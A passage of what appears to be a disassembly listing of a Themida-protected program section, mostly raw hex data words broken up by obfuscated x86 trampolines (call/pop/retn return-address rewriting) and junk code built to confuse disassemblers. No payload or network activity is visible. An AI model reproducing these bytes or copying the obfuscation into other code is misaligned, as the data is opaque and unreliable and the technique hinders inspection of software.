10h, 0BE9h, 47DCEE00h, 102BD665h dd 524EF65Dh, 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 529E2703h, 0FB03D41h dd 1483h, 0FE900h, 0E5A40000h, 7B05F1C6h, 67360A38h, 6CF761A0h dd 6AC38B8Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 7C3EC353h, 5D9D8998h, 8B07E405h dd 4E8C1F2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 6FC35747h, 9556F446h, 8937F501h, 0E413ED8Dh, 0E2F76607h dd 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 14208C3h, 68AE5364h, 14E898h, 95F50000h dd 0AFB16B2Eh, 61EDFC08h, 0B4A57A7Ah, 0A88248D4h, 8B66DDF7h dd 50935FFAh, 6E952h, 0E5DA0000h, 4253D8FCh, 28BE310Fh dd 5A42CEA7h, 0EDBE5058h, 9305E9F8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 4EC35343h, 0D5B5FF19h, 0E907E42Ah dd 8, 835240D8h, 462EB6F2h, 0E4195FFh, 6A07E4h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 76D0E4C3h, 7E233955h, 357DD8Bh, 0E41BDDB5h, 0B05F07h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C9C35040h dd 38530E1Eh, 0FC8C5B2h, 70E6F3B7h, 5E860h, 99790000h dd 0F99E02A4h, 79B5895Fh, 6107E42Dh, 9D8971E4h, 7E40991h dd 830F613Ch, 284h, 18158D89h, 0B60F07E4h, 6BAD8h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0D81DADC3h, 3BACE58Ah, 0C9B51BFh, 6AC38B07h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0F1AAC350h, 1CB4ED21h, 0FEB9273h, 0E8C1FEBFh, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 26A0F657h, 0F76664C4h, 53006AE2h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 8BD82BA1h dd 0E42C6DB5h, 6A5807h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 210239C3h, 0E9F8FED8h, 7, 7F34C727h dd 2B6B4907h, 0A5880FD8h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AF81C350h dd 9F714218h, 0CF3F5BEEh, 7B9h, 0C18300h, 7E8h, 0E96AE000h dd 0C25D8436h, 0B8D0Fh, 6E90000h, 0E4000000h, 3E41353Dh dd 0D93B5E21h, 152860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 93C8D2C3h, 0BFC26AEBh dd 507BC1F9h, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 16B6C357h, 0EDAC77C8h dd 7DB58B51h, 0F607E415h, 840F04C1h, 0F1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D3C35040h, 4D6156E8h dd 958AE8F7h, 95FFFC4Dh, 7E42D91h, 52006A5Bh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0E8E12989h dd 71B8B6C4h, 0F59D8915h, 2B07E420h, 55006AC3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BF660261h dd 343DE2E2h, 0F000008h, 6C86h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0C5B4F4ACh dd 77F541DAh, 0BE9D3h, 455A0000h, 0DE55DD3Eh, 8C1C9FAFh dd 0DE9ACh, 0E1600000h, 0C768901h, 0B08FBDDCh, 0E93CD8BFh dd 28h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h dd 4C35646h, 0A873F2EEh, 0BEC08B9Eh, 2CE41AEBh, 0D88BC38Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 81C35040h dd 85C78DE4h, 7E41AC5h, 7378471Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 51C35141h, 0EE966h, 217D0000h dd 0AFAD7241h, 47EA49F4h, 0D22E8A13h, 0BD81C08Bh, 7E42AD5h dd 7D0h, 10850Fh, 0B5290000h, 7E4181Dh, 2AD585FFh, 0BF6607E4h dd 0B5FFED33h, 7E42AD5h, 29BD8529h, 0BD8B07E4h, 7E42DC5h dd 0E4195FFh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8BB116C3h, 0E41A71BDh, 49BD8B07h dd 9007E426h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 46C35040h, 8BC40B36h, 0E41531B5h, 0CE907h, 2BBC0000h dd 0D45FE636h, 2251BB75h, 6A64BCh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 8DCECAC3h, 9D292F26h dd 7E43329h, 6AFA8Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0D2AF9BC3h, 0F986F5F6h, 0F18D2980h dd 0E907E431h, 9, 625378E9h, 538C51DDh, 1BC68156h, 814DE307h dd 0C80BFDF7h, 0E820F16h, 60000000h, 0C3AACB81h, 85895352h dd 7E42525h, 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0E635B0E5h, 0C870FDCh, 8B000000h dd 0E40D45BDh, 6DBD8B07h dd 6A07E405h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 2E8FC351h, 0A997073Dh, 8D0953A0h dd 7E431C1h, 0FFF75FE9h, 0FBBF0FFFh, 2149BD8Bh, 0C18B07E4h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 79C35545h dd 0F3BF6618h, 104EB19h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2AABC355h dd 0AA73342Bh, 5860F72h, 66000000h, 602CDF81h, 8DF2BF0Fh dd 0E40D8585h, 7E95007h, 0B0000000h, 53F4E938h, 4893B7Eh dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 59B589B7h, 6A07E42Dh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0F7810996h dd 3B63F9D9h, 0BE9h, 92F7D700h, 56270B47h, 81C7AAB6h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0AB28A8C3h, 0CBFFF1C0h, 0E98B0F35h, 0Ah, 0B48E1B06h dd 0F9129E67h, 858D08B4h, 7E84C24h, 2C598529h, 0C08307E4h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 93DE7173h, 634EC9A1h, 0F50B302h, 48Bh, 0AFBE6600h dd 2404897Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0B6C35040h, 0C4F5FCB0h, 10E9h, 67069900h, 0A26EEF0h dd 0C0446454h, 621A92D0h, 51BD299Eh, 6A07E42Dh, 0FD958900h dd 6A07E408h, 0B5016000h, 7E40F21h, 68F0Fh, 860F0000h dd 0 ; --------------------------------------------------------------------------- popa call dword ptr [ebp+7E42471h] push 0 push ecx call sub_5C7076 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7076 proc near ; CODE XREF: Themida_:005C706Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5C7076 endp ; --------------------------------------------------------------------------- dw 2636h ; --------------------------------------------------------------------------- and dh, 8Bh mov ebp, 7E401DDh lea ebx, [ebp+7E7D64Bh] mov esi, [ebp+7E407BDh] call ebx ; _iob mov esi, 37C71F1Ah inc dword ptr [ebp+7E420B9h] mov edi, [ebp+7E423B1h] jmp loc_5C78FC ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 7E84C2Eh mov esi, [ebp+7E415C5h] cmp dword ptr [ebp+7E42AD5h], 7D0h jbe loc_5C7236 push 0 push ebx call sub_5C70E1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C70E1 proc near ; CODE XREF: Themida_:005C70D9p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5C70E1 endp ; --------------------------------------------------------------------------- db 0F3h, 11h, 66h ; --------------------------------------------------------------------------- adc esi, 9D8B7D0Dh push ebp add eax, 6A07E4h push ecx call sub_5C7109 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7109 proc near ; CODE XREF: Themida_:005C7101p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5C7109 endp ; --------------------------------------------------------------------------- db 0E0h, 1Fh, 76h ; --------------------------------------------------------------------------- retf 96CAh ; --------------------------------------------------------------------------- db 0FAh dd 895825B8h, 0E43079B5h, 0E38107h, 60000001h, 149D9D8Bh dd 0F18107E4h, 3EF5D87Dh, 0FDB0B61h, 9285h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0F6A116F1h, 0FA7C00BAh, 4A68BD83h, 0F0007E8h, 4D84h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0E8DDA338h, 0D0FA7EB0h, 198D0F8Ch, 0E9000000h dd 14h, 0ED3C3A80h, 842DE3A1h, 654EF3C2h, 14CB4027h, 116916Ch dd 0D9CF8166h, 27E997h, 85C70000h, 7E84A68h, 1, 55DB531h dd 12E907E4h, 0C7000000h, 0E84A6885h, 7, 2810F00h, 8B000000h dd 559D8DF0h, 6A07E405h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 646FC355h, 0F5BD72B1h dd 33137EFBh, 0B4BA2BBEh, 0FF238122h, 0E9FFFFFEh, 12h dd 0F6D7BFD5h, 6B231420h, 9F971D4h, 0A3AF12CCh db 8Ah, 5Eh ; --------------------------------------------------------------------------- loc_5C7236: ; CODE XREF: Themida_:005C70D0j mov bx, ds push 0 push ecx call sub_5C7244 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7244 proc near ; CODE XREF: Themida_:005C723Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5C7244 endp ; --------------------------------------------------------------------------- dd 376F0E22h, 3315EBE4h, 0C3F61ADCh, 51840F04h, 0F000000h dd 0C8Fh, 68B0F00h, 0F000000h, 87h, 9195FF00h, 6607E42Dh dd 0E850F98Bh, 10h, 0DF48E7A7h, 0E256BB54h, 95578211h dd 64014208h, 2830Fh, 0F18B0000h, 2404895Eh, 5E860h, 42E40000h dd 23A2D8C5h, 0E40F31BDh, 61F55F07h, 3DEE9h, 0C5952900h dd 0B007E421h, 10E900h, 57CF0000h, 480798B8h, 51B5CB7Fh dd 83D7E214h, 70E64F21h, 0A19D8B60h, 0B607E406h, 71E46112h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9AC35040h dd 1C2B3264h, 0FD24058h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 65FF0BC3h, 6BAFC1Eh dd 1000000h, 0E41B8DBDh, 66C38B07h, 0E8C1FB8Bh, 1D8A0F04h dd 0E8000000h, 11h, 61A7ED0h, 7B3D7AA2h, 0BE845930h, 0C5EFD5DDh dd 0C5B58BA3h, 5F07E42Eh, 6AE2F766h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 33D8C352h dd 60629391h, 1429858Bh, 0D78B07E4h, 60D82B61h, 1E619589h dd 952907E4h, 7E40245h, 0BE669361h, 0E850204Bh, 6, 59D99D5Dh dd 0EE8F763h, 0A3000000h, 1D9FF66Ch, 577F0442h, 2BF0EAE8h dd 5F61605Ah, 0B70F935Eh, 0A5B58BF7h, 0FF07E40Bh, 0E42AD5B5h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 26EEF067h, 1B5890Ah, 0FF07E404h, 0E40E4195h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0B59D89AEh, 907E427h, 0E42FED85h, 6600B007h dd 358FE681h, 6A70E6F8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0FBD2C355h, 897FE00Dh dd 0E4040185h, 8971E407h, 0E4064D85h, 0C7816607h, 613C17C9h dd 229830Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0BF30D2C3h, 14E92537h, 66D8B60Fh dd 0BA592DBFh, 6, 3850Fh, 8B660000h, 0E9C38BF1h, 7, 0CE661514h dd 0C140B4B1h, 6A04E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0D6530CC3h, 0C68DEE39h, 52E1FAE9h dd 58E0Fh, 81660000h, 5E2E23EFh, 6AE2F766h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 5639C353h dd 52E2F800h, 0FE957h, 5CE40000h, 6904A4ABh, 0D026640Eh dd 6E7A7D18h, 2B5E5F9Ah, 68F0FD8h, 89000000h, 0E40E2995h dd 0BD8B5807h, 7E400EDh, 880FD82Bh, 157h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Dh, 89C35242h, 6713D27Ah dd 90805577h, 0B58960CBh, 7E409F5h, 0F618509h, 0B96107E4h dd 7, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah dd 0BFC35242h, 53D65D30h, 850F09C0h, 5, 91EF8166h, 19CE8182h dd 0F0ABE65h, 0C183FEBFh, 61B58900h, 3B07E40Bh, 0D8860FD9h dd 9000000h, 0E401A1BDh, 0D98C6607h, 13E9h, 4F4DC900h dd 504BDB2Bh, 0C4BC784h, 0E13D7863h, 73436134h, 0BE9h dd 95CFB900h, 0A53405B0h, 57DC5E8Eh, 0F04C1F6h, 9784h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 880F2CE7h, 6, 0A29B531h, 95FF07E4h, 7E42D91h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 9FC35141h dd 334DE5F5h, 880F9274h, 5, 0BEDE8166h, 0C32B5BA0h, 8B0Fh dd 343D0000h, 0F000008h, 2786h, 29E900h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 51A10BC3h, 0F6B70FE8h, 0ACBFC08Bh, 8B51CCB8h, 0E8D88BC3h dd 0Bh, 0A8CCFFDCh, 0FB333A91h, 0F7C64CCh, 587h, 539BF00h dd 0C75E69B7h, 0E406FD85h, 0FE95307h, 0B5950137h, 8B07E427h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 8EB0D893h, 79A4CE83h, 1AA19D29h, 5F5107E4h dd 2AD5BD81h, 7D007E4h, 850F0000h, 32h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 18h, 45C35242h, 0A33CB076h dd 19E19D89h, 85FF07E4h, 7E42AD5h, 1B7D8589h, 0B5FF07E4h dd 7E42AD5h, 9F8858BFh, 4195FF3Ah, 6607E40Eh, 6A90F88Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 96D1C352h, 0BA6D6E97h, 0FCE65555h, 3F78A60h dd 0E429F9B5h, 0C6BF0F07h, 6E9h, 7BDC2200h, 61CAF671h dd 0BDE78166h, 51006A1Eh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0A0CCF7C1h, 70D3C75Ch dd 7E855A8h, 0D000000h, 61BF4F81h, 11E91554h, 3A000000h dd 166DB210h, 0FE92EC35h, 2E4F8A3Ah, 1B60F2FDh, 7BDE8166h dd 0B58B5EA3h, 7E40B51h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 5AC35141h, 2B336F8Ah, 0E415C5B5h, 89DE8107h dd 0E9462F00h, 0Ch, 0BF2DF4B3h, 8BD511BFh, 0EE6834E2h dd 9E8h, 16916C00h, 78F001h, 8D89864Ah, 7E405B5h, 57006A5Eh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 98814C78h, 952B60C6h, 7E4237Dh, 3047D881h, 0FE82D4Fh dd 75000000h, 0BAC55451h, 5E53D47Dh, 0EDBD1A0Fh, 8B663C38h dd 8D9D8BC3h, 5B07E42Dh, 0FE8B6661h, 0FFF82BE9h, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 39D8320Bh, 137A00C8h, 0CE84Fh, 3F020000h, 0C555AA2Ch dd 3D0CAD91h, 12E9A0ADh, 65000000h, 5AD9FC74h, 20587C7Eh dd 0E8C891E6h, 417438F5h, 0FD9D01CFh, 5F07E419h, 10E8h dd 0FE1B1600h, 0CB8E0801h, 4BB99AAAh, 1DA68D4Eh, 0F3EDBFC3h dd 13BF0247h, 5E705521h ; --------------------------------------------------------------------------- loc_5C78FC: ; CODE XREF: Themida_:005C70AFj mov eax, ecx push 0 push ebx call sub_5C7909 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7909 proc near ; CODE XREF: Themida_:005C7901p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5C7909 endp ; --------------------------------------------------------------------------- db 0E5h, 0D3h, 0EBh dd 104h, 14E900h, 0A6C80000h, 34418B22h, 53B26601h, 0F978DF7Ch dd 0EB3224F2h, 6A91CBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0CD4B16C3h, 0B7E90DFAh, 0FB271FFh dd 684h, 0FDB58B00h, 8D07E42Dh, 0E40D8585h, 0B58B5707h dd 7E415ADh, 0BF50905Fh, 3F2E41C7h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 6DC74650h dd 2C0D9529h, 6A07E4h, 820Fh, 6A0000h, 0BD89FB8Bh, 7E42D3Dh dd 569B858Dh, 6A07E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0FD2218C3h, 0EB24B15Eh, 8BE0EDD5h dd 0E425CDBDh, 5C08307h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 94C35141h, 4B423A86h, 0CCF9BAB9h, 12E962h dd 0FC560000h, 0D0461323h, 37616078h, 890CD9B6h, 0A24753ABh dd 820Fh, 66900000h, 500E28BFh, 0A800Fh, 52500000h, 0DE35BE66h dd 585A310Fh, 6AF990h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 2EC35141h, 0B9BE4840h, 0A558E777h, 0BE8h dd 21A1FB00h, 9A9762BDh, 0D00ADA24h, 2389BD33h, 6A5F07E4h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 31F0B0FAh, 8866E7F5h, 0FFF08B8Ch, 0E4247195h dd 0CE816607h, 9D8DF516h, 7E7D64Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 60C35747h, 0F117660Ch, 0BF46404h dd 0E409A5BDh, 6AD3FF07h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 2FE1C355h, 8DEB9C8Bh dd 0E982BD01h, 0Ah, 10174FE9h, 65BE5CE9h, 85FF3797h, 7E420B9h dd 218D9589h, 0BDE907E4h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_5C7B2B: ; DATA XREF: Themida_:00584C04o call $+5 pop ebp sub ebp, 7E856A5h push 0 push eax call sub_5C7B42 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7B42 proc near ; CODE XREF: Themida_:005C7B3Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5C7B42 endp ; --------------------------------------------------------------------------- dw 0C1FAh dd 55E96B26h, 0BD89F382h, 7E41A61h, 0CAB7BE60h, 7E93197h dd 0D000000h, 0A5A902F1h, 8161ABA1h, 0E42AD5BDh, 7D007h dd 2D860F00h, 89000001h, 0E427799Dh, 999D8B07h, 6A07E413h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0CE42C357h, 2AFA9815h, 0BF0F6A24h, 8D0F60FFh dd 1, 19D8BF8h, 6107E423h, 100E381h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 69811FC3h dd 0B8FEA41h, 73850FDBh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 4BBC356h dd 0B1FC0C96h, 8B72FE9Ah, 0E400A9BDh, 92BD8307h, 7E854h dd 0C840Fh, 47E90000h, 81000000h, 0E93488F7h, 85C7F574h dd 7E85492h, 1, 31E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 41F1CA37h, 85C70C22h dd 7E85492h, 0 dd 2D9531h, 9D8D07E4h, 7E41399h, 6880F51h, 0F000000h, 8Ah dd 23815F00h, 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0A2C35040h, 0D844BC02h, 6ADB8C66h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 452C350h, 5B05118Fh, 12E538ECh, 0F04C3F6h, 4784h, 0FE900h dd 0CDF60000h, 6B691B77h, 0DF019F4Ah, 0F6B1A017h, 9195FF0Ah dd 2907E42Dh, 0E400D1BDh, 4895007h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 2627DB77h dd 36CDCFE1h, 3EDE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0E8293B1Ch, 5, 79D0CD99h dd 62BE66A9h, 0B05FA3h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0E1C35242h, 9860F9A6h, 0BD1E565Fh, 9DB533C9h dd 2307E403h, 0E408A1BDh, 0E470E607h, 57006A71h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 894E0F32h, 0FC57CA95h, 81D8B60Fh, 0F69849CEh, 6BA6Dh dd 0BD8B0000h, 7E41AEDh, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8D29B4C3h, 7E40079h dd 73A6BE66h, 2BDBD03h, 0E8C107E4h, 0CDF8104h, 6658FC02h dd 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0F6546CC3h, 6AD82B37h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0FBF4C352h dd 187461DFh, 0E993D811h, 12h, 9A623E90h, 0F8638C01h, 0F782716Fh dd 70A5FED7h, 0E950596Ah, 0Bh, 6A967AD5h, 5ED03CCFh, 932E24EEh dd 65907BFh, 0D5B5FF77h, 6607E42Ah, 95FFF88Bh, 7E40E41h dd 3581BD89h, 0B007E4h, 71E470E6h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0A9C35646h, 0BF571535h, 73BFAC50h dd 613CF95Eh, 25C830Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 2BBAA3C3h, 609F5524h dd 0BDA8B66h, 0E4034585h, 0B60F6107h, 6BAD8h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 692764C3h, 0CCD11BBFh, 958D89FAh, 8B07E42Dh, 0C1F38BC3h dd 0E95704E8h, 0Ah, 63E8D690h, 0E283C274h, 665E0FFCh, 9589E2F7h dd 7E402E1h, 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0BEC0F2C3h, 58ECF7E1h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7FC35242h, 0F57F38F6h dd 0FD82BF5h, 19188h, 5D9D2900h, 0B907E405h, 7, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8DC35242h, 0F676E3D4h dd 1FEDBD8Bh, 0C18307E4h, 11E800h, 45380000h, 77062954h dd 1012BF2Ah, 1811D81Ah, 0FE91D04h, 68Dh, 9B52300h, 5F07E41Bh dd 860FD93Bh, 132h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0FC35040h, 0DF3DB6C3h, 0E9BC8E33h, 0Dh dd 68D09620h, 738A96DAh, 0E721EB20h, 0D98C66D2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AC35646h, 0C1F6AC7Eh dd 0B3840F04h, 0FF000000h, 0E42D9195h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0CB402765h, 16916C14h, 6A5B01h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 54C787C3h, 0EFB7D9A3h dd 2B64D857h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0AD90C09h, 0C7FA9F1Dh, 2EA99D89h dd 343D07E4h, 0F000008h, 2D86h, 7E900h, 2070000h, 55E828EFh dd 3CE9BBh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0C08BAEC3h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0C9C35242h, 0C38B2D9Dh, 0BE66D88Bh dd 0B58B79FCh, 7E41F45h, 55585C7h, 0CFFD07E4h, 8BFC710Bh dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 96978E7Ch, 81F08B0Dh, 0E42AD5BDh, 7D007h dd 2E850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 3517C356h, 38B032B3h dd 0D585FFE9h, 8B07E42Ah, 0E41C71B5h, 0D5B5FF07h, 6607E42Ah dd 95FFF98Bh, 7E40E41h, 1E19BD8Bh, 8B9007E4h, 58529FEh dd 8B07E40Ah, 0E40619BDh, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E9FACF18h dd 0Dh, 0EB7AA82Fh, 0B48B8753h, 0B64A10A2h, 0F5BD8BF6h dd 6A07E431h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 8848C353h, 0BD09532Eh, 7E41455h dd 14E85Eh, 0DB5D0000h, 0E5AC9F5h, 0FF44F157h, 2B6BD8A4h dd 58B79C17h, 8D094215h, 7E42045h, 0ED95315Fh, 8B07E41Ch dd 0E41D75B5h, 0B8F78107h, 3355CB30h, 0E40D6DB5h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 5A531001h, 8B74ACD0h, 88C0FF0h, 51000000h, 0BE66F88Bh dd 0F85F1019h, 840F6060h, 0 ; --------------------------------------------------------------------------- or eax, 706A4196h popa mov [ebp+7E42195h], eax popa push 0 push ebx call sub_5C82A1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C82A1 proc near ; CODE XREF: Themida_:005C8299p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5C82A1 endp ; --------------------------------------------------------------------------- db 23h, 2Ah, 0B3h dd 0E18992B9h, 8B8D0948h, 0E42D2DBDh, 85296007h, 7E42155h dd 9830Fh, 8B660000h, 0B58589CAh, 0B907E425h, 600F9BDEh dd 0F849E961h, 0BD33FFFFh, 7E41D21h, 6AC18Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 376A6EC3h dd 4EBF679h, 0 ; --------------------------------------------------------------------------- xor [ebp+7E418F1h], edx push 0 push ecx call sub_5C8321 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C8321 proc near ; CODE XREF: Themida_:005C8319p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5C8321 endp ; --------------------------------------------------------------------------- add eax, 0EC7D42ECh lea eax, [ebp+7E40D85h] push 0 push ebp call sub_5C8347 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C8347 proc near ; CODE XREF: Themida_:005C833Fp arg_4 = dword ptr 8 pop 